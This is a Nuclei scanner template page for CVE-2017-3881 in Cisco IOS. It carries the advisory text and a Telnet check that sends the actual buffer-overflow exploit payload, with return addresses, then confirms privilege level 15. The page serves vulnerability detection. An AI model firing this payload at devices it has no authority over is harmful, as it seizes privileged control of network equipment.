Cisco IOS 12.2(55)SE11 - Remote Code Execution
ID: CVE-2017-3881
Severity: critical
Author: dwisiswant0
Tags: cve2017,network,cve,cisco,rce,kev,msf,tcp
Description
Section titled “Description”A vulnerability in the Cisco Cluster Management Protocol (CMP) processing code in Cisco IOS and Cisco IOS XE Software could allow an unauthenticated, remote attacker to cause a reload of an affected device or remotely execute code with elevated privileges. The Cluster Management Protocol utilizes Telnet internally as a signaling and command protocol between cluster members. The vulnerability is due to the combination of two factors: (1) the failure to restrict the use of CMP-specific Telnet options only to internal, local communications between cluster members and instead accept and process such options over any Telnet connection to an affected device; and (2) the incorrect processing of malformed CMP-specific Telnet options. An attacker could exploit this vulnerability by sending malformed CMP-specific Telnet options while establishing a Telnet session with an affected Cisco device configured to accept Telnet connections. An exploit could allow an attacker to execute arbitrary code and obtain full control of the device or cause a reload of the affected device. This affects Catalyst switches, Embedded Service 2020 switches, Enhanced Layer 2 EtherSwitch Service Module, Enhanced Layer 2/3 EtherSwitch Service Module, Gigabit Ethernet Switch Module (CGESM) for HP, IE Industrial Ethernet switches, ME 4924-10GE switch, RF Gateway 10, and SM-X Layer 2/3 EtherSwitch Service Module. Cisco Bug IDs: CSCvd48893.
YAML Source
Section titled “YAML Source”id: CVE-2017-3881
info: name: Cisco IOS 12.2(55)SE11 - Remote Code Execution author: dwisiswant0 severity: critical description: | A vulnerability in the Cisco Cluster Management Protocol (CMP) processing code in Cisco IOS and Cisco IOS XE Software could allow an unauthenticated, remote attacker to cause a reload of an affected device or remotely execute code with elevated privileges. The Cluster Management Protocol utilizes Telnet internally as a signaling and command protocol between cluster members. The vulnerability is due to the combination of two factors: (1) the failure to restrict the use of CMP-specific Telnet options only to internal, local communications between cluster members and instead accept and process such options over any Telnet connection to an affected device; and (2) the incorrect processing of malformed CMP-specific Telnet options. An attacker could exploit this vulnerability by sending malformed CMP-specific Telnet options while establishing a Telnet session with an affected Cisco device configured to accept Telnet connections. An exploit could allow an attacker to execute arbitrary code and obtain full control of the device or cause a reload of the affected device. This affects Catalyst switches, Embedded Service 2020 switches, Enhanced Layer 2 EtherSwitch Service Module, Enhanced Layer 2/3 EtherSwitch Service Module, Gigabit Ethernet Switch Module (CGESM) for HP, IE Industrial Ethernet switches, ME 4924-10GE switch, RF Gateway 10, and SM-X Layer 2/3 EtherSwitch Service Module. Cisco Bug IDs: CSCvd48893. impact: | Successful exploitation of this vulnerability could allow an attacker to execute arbitrary code on the affected device. remediation: Deactivate a telnet connection or employ Access Control Lists (ACLs) to limit access. reference: - https://github.com/artkond/cisco-rce - https://artkond.com/2017/04/10/cisco-catalyst-remote-code-execution/ - https://github.com/rapid7/metasploit-framework/blob/master/documentation/modules/auxiliary/dos/cisco/ios_telnet_rocem.md - https://nvd.nist.gov/vuln/detail/CVE-2017-3881 - http://www.securitytracker.com/id/1038059 classification: cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H cvss-score: 9.8 cve-id: CVE-2017-3881 cwe-id: CWE-20 epss-score: 0.9745 epss-percentile: 0.99948 cpe: cpe:2.3:o:cisco:ios:*:*:*:*:*:*:*:* metadata: max-request: 2 vendor: cisco product: ios shodan-query: - product:"cisco ios http config" - cpe:"cpe:2.3:o:cisco:ios" tags: cve2017,network,cve,cisco,rce,kev,msf,tcptcp: - host: - "{{Hostname}}" - "{{Host}}:23" inputs: - data: "{{hex_decode('fffa240003')}}CISCO_KITS{{hex_decode('01')}}2:AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA{{hex_decode('000037b4023d55dc0000999c')}}BBBB{{hex_decode('00e1a9f4')}}CCCCDDDDEEEE{{hex_decode('00067b5c023d55c8')}}FFFFGGGG{{hex_decode('006cb3a000270b94')}}HHHHIIII{{hex_decode('014acf98')}}JJJJKKKKLLLL{{hex_decode('0114e7ec')}}:15:{{hex_decode('fff0')}}" read: 1024
- data: "show priv" read: 1024 read-size: 1024 matchers: - type: word words: - "Current privilege level is"# digest: 490a0046304402204c582079aaafc12c7a1b5846ebfcfa4a06fad7537a166c5bc591a64ecdb89cfb022019cdc0d50e7e774535e9127eea725a02bec7dcc38dfa1d1c53f1da158f63b14f:922c64590222798bb761d5b6d8e72950Guide to check the vulnerabilities
Section titled “Guide to check the vulnerabilities”This template is used to detect vulnerabilities in web applications. It can be used with the Nuclei tool to scan for specific patterns or behaviors.
$ nuclei -u "URL" -t "network/cves/2017/CVE-2017-3881.yaml"